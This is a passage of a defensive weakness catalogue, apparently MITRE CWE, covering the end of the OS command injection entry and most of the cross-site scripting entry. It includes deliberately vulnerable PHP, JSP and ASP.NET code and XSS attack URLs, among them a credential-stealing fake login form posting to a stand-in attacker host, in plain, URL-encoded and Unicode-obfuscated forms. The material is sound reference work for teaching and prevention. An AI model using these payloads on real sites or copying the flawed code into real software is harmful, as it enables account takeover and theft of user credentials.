<b>CVE-2012-1988</b>	Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters. <a href="https://www.cve.org/CVERecord?id=CVE-2012-1988">https://www.cve.org/CVERecord?id=CVE-2012-1988</a>

### Functional Areas

- Program Invocation

### Affected Resources

- System Process

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	C	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	629	2124
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	2130
MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	2138
MemberOf	C	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	734	2142
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	2145
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	2147
MemberOf	C	810	OWASP Top Ten 2010 Category A1 - Injection	809	2149
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	2155
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	2164
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	2169
MemberOf	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	2172
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	2182
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2228
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	2237
MemberOf	C	1165	SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)	1154	2253
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

## Notes

### Terminology

The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments

for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.

### Research Gap

More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			OS Command Injection
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
CERT C Secure Coding	ENV03-C		Sanitize the environment when invoking external programs
CERT C Secure Coding	ENV33-C	CWE More Specific	Do not call system()
CERT C Secure Coding	STR02-C		Sanitize data passed to complex subsystems
WASC	31		OS Commanding
The CERT Oracle Secure Coding Standard for Java (2011)	IDS07-J		Do not pass untrusted, unsanitized data to the Runtime.exec() method
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-78		

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
6	Argument Injection
15	Command Delimiters
43	Exploiting Multiple Input Interpretation Layers
88	OS Command Injection
108	Command Line Execution through SQL Injection

### References

- [REF-140]Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". 2004 February 7. Addison-Wesley. < <https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958> >.
- [REF-685]Pascal Meunier. "Meta-Character Vulnerabilities". 2008 February 0. < <http://www.cs.purdue.edu/homes/cs390s/slides/week09.pdf> >.
- [REF-686]Robert Auger. "OS Commanding". 2009 June. < <http://projects.webappsec.org/OS-Commanding> >.
- [REF-687]Lincoln Stein and John Stewart. "The World Wide Web Security FAQ". 2002 February 4. < <http://www.w3.org/Security/Faq/wwwsf4.html> >.
- [REF-688]Jordan Dimov, Cigital. "Security Issues in Perl Scripts". < <http://www.cgisecurity.com/lib/sips.html> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-690]Frank Kim. "Top 25 Series - Rank 9 - OS Command Injection". 2010 February 4. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/02/24/top-25-series-rank-9-os-command-injection/> >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

**Weakness ID** : 79

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

### Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

1. Untrusted data enters a web application, typically from a web request.
2. The web application dynamically generates a web page that contains this untrusted data.
3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

- Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.



- Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
- Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.












Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133
ParentOf		80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)	172
ParentOf		81	Improper Neutralization of Script in an Error Message Web Page	175
ParentOf		83	Improper Neutralization of Script in Attributes in a Web Page	179
ParentOf		84	Improper Neutralization of Encoded URI Schemes in a Web Page	181
ParentOf		85	Doubled Character XSS Manipulations	183
ParentOf		86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages	185
ParentOf		87	Improper Neutralization of Alternate XSS Syntax	186
ParentOf		692	Incomplete Denylist to Cross-Site Scripting	1421
PeerOf		352	Cross-Site Request Forgery (CSRF)	821
PeerOf		494	Download of Code Without Integrity Check	1119

Nature	Type	ID	Name	Page
CanFollow	V	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')	263
CanFollow	B	184	Incomplete List of Disallowed Inputs	441
CanPrecede	B	494	Download of Code Without Integrity Check	1119

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	G	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2226

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	2102

### Weakness Ordinalities

**Resultant :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Technology :** Web Based (*Prevalence = Often*)

### Background Details

The Same Origin Policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

When referring to XSS, the Domain of a website is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

### Alternate Terms

**XSS :** A common abbreviation for Cross-Site Scripting.

**HTML Injection :** Used as a synonym of stored (Type 2) XSS.

**CSS :** In the early years after initial discovery of XSS, "CSS" was a commonly-used acronym. However, this would cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Confidentiality	Read Application Data	

Scope	Impact	Likelihood
	<i>The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.</i>	
Confidentiality Integrity Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism Read Application Data  <i>The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.</i>	

### Detection Methods

#### Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

*Effectiveness = Moderate*

#### Black Box

Use the XSS Cheat Sheet [REF-714] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

*Effectiveness = Moderate*

*With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.*

### Potential Mitigations

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

**Phase: Implementation****Phase: Architecture and Design**

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as `src="XYZ"`) URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.

**Phase: Architecture and Design****Phase: Implementation**

*Strategy = Attack Surface Reduction*

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

*Effectiveness = Limited*

*This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.*

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Architecture and Design**

*Strategy = Parameterization*

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

**Phase: Implementation**

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

**Phase: Implementation**

With Struts, write all data from form beans with the bean's filter attribute set to true.

**Phase: Implementation**

*Strategy = Attack Surface Reduction*

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

*Effectiveness = Defense in Depth*

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("`<3`") would likely pass the validation step, since it is



commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities. Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address. Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

### Phase: Architecture and Design

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

### Phase: Operation

*Strategy = Firewall*

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

*Effectiveness = Moderate*

*An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.*

### Phase: Operation

#### Phase: Implementation

*Strategy = Environment Hardening*

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

### Demonstrative Examples

#### Example 1:

The following code displays a welcome message on a web page based on the HTTP GET username parameter (covers a Reflected XSS (Type 1) scenario).

*Example Language: PHP*

*(Bad)*

```
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';
```

Because the parameter can be arbitrary, the url of the page could be modified so `$username` contains scripting syntax, such as



*Example Language:**(Attack)*

```
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>
```

This results in a harmless alert dialog popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:

*Example Language:**(Attack)*

```
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>
```

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

*Example Language:**(Result)*

```
<div class="header"> Welcome, <div id="stealPassword"> Please Login:
  <form name="input" action="attack.example.com/stealPassword.php" method="post">
    Username: <input type="text" name="username" /><br/>
    Password: <input type="password" name="password" /><br/>
    <input type="submit" value="Login" />
  </form>
</div></div>
```

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

*Example Language:**(Attack)*

```
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A
```

The same attack string could also be obfuscated as:

*Example Language:**(Attack)*

```
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
```

```

\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

```

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

### Example 2:

The following code displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, `eid`, from an HTTP request and displays it to the user.

*Example Language: JSP*

*(Bad)*

```

<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

```

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

*Example Language: ASP.NET*

*(Bad)*

```

<%
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
%>
<p><asp:label id="EmployeeID" runat="server" /></p>

```

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

### Example 3:

The following code displays a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

*Example Language: JSP*

*(Bad)*

```

<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
    rs.next();
    String name = rs.getString("name");
}%>
Employee Name: <%= name %>

```

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

*Example Language: ASP.NET*

*(Bad)*

```
<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>
```

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

#### Example 4:

The following code consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

*Example Language: PHP*

*(Bad)*

```
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s", "%s", "%s")', $username, crypt($password),
$fullName);
mysql_query($query);
/.../
```

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

*Example Language: PHP*

*(Bad)*

```
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);
if (!$results) {
    exit;
}
//Print list of users to page
echo '<div id="userlist">Currently Active Users: ';
while ($row = mysql_fetch_assoc($results)) {
    echo '<div class="userNames">'. $row['fullname']. '</div>';
}
echo '</div>';
```

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

#### Example 5:

The following code is a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:

Example Language: PHP

(Bad)

```
$name = $_COOKIE["myname"];
$announceStr = "$name just logged in.";
//save HTML-formatted message to file; implementation details are irrelevant for this example.
saveMessage($announceStr);
```

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:

Example Language:

(Attack)

```
<script>document.alert('Hacked');</script>
```

The raw contents of the message file would look like:

Example Language:

(Result)

```
<script>document.alert('Hacked');</script> has logged in.
```

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.

### Observed Examples

Reference	Description
<b>CVE-2021-25926</b>	Python Library Manager did not sufficiently neutralize a user-supplied search term, allowing reflected XSS. <a href="https://www.cve.org/CVERecord?id=CVE-2021-25926">https://www.cve.org/CVERecord?id=CVE-2021-25926</a>
<b>CVE-2021-25963</b>	Python-based e-commerce platform did not escape returned content on error pages, allowing for reflected Cross-Site Scripting attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2021-25963">https://www.cve.org/CVERecord?id=CVE-2021-25963</a>
<b>CVE-2021-1879</b>	Universal XSS in mobile operating system, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-1879">https://www.cve.org/CVERecord?id=CVE-2021-1879</a>
<b>CVE-2020-3580</b>	Chain: improper input validation (CWE-20) in firewall product leads to XSS (CWE-79), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-3580">https://www.cve.org/CVERecord?id=CVE-2020-3580</a>
<b>CVE-2014-8958</b>	Admin GUI allows XSS through cookie. <a href="https://www.cve.org/CVERecord?id=CVE-2014-8958">https://www.cve.org/CVERecord?id=CVE-2014-8958</a>
<b>CVE-2017-9764</b>	Web stats program allows XSS through crafted HTTP header. <a href="https://www.cve.org/CVERecord?id=CVE-2017-9764">https://www.cve.org/CVERecord?id=CVE-2017-9764</a>
<b>CVE-2014-5198</b>	Web log analysis product allows XSS through crafted HTTP Referer header. <a href="https://www.cve.org/CVERecord?id=CVE-2014-5198">https://www.cve.org/CVERecord?id=CVE-2014-5198</a>
<b>CVE-2008-5080</b>	Chain: protection mechanism failure allows XSS <a href="https://www.cve.org/CVERecord?id=CVE-2008-5080">https://www.cve.org/CVERecord?id=CVE-2008-5080</a>
<b>CVE-2006-4308</b>	Chain: incomplete denylist (CWE-184) only checks "javascript:" tag, allowing XSS (CWE-79) using other tags <a href="https://www.cve.org/CVERecord?id=CVE-2006-4308">https://www.cve.org/CVERecord?id=CVE-2006-4308</a>
<b>CVE-2007-5727</b>	Chain: incomplete denylist (CWE-184) only removes SCRIPT tags, enabling XSS (CWE-79) <a href="https://www.cve.org/CVERecord?id=CVE-2007-5727">https://www.cve.org/CVERecord?id=CVE-2007-5727</a>
<b>CVE-2008-5770</b>	Reflected XSS using the PATH_INFO in a URL <a href="https://www.cve.org/CVERecord?id=CVE-2008-5770">https://www.cve.org/CVERecord?id=CVE-2008-5770</a>
<b>CVE-2008-4730</b>	Reflected XSS not properly handled when generating an error message

Reference	Description
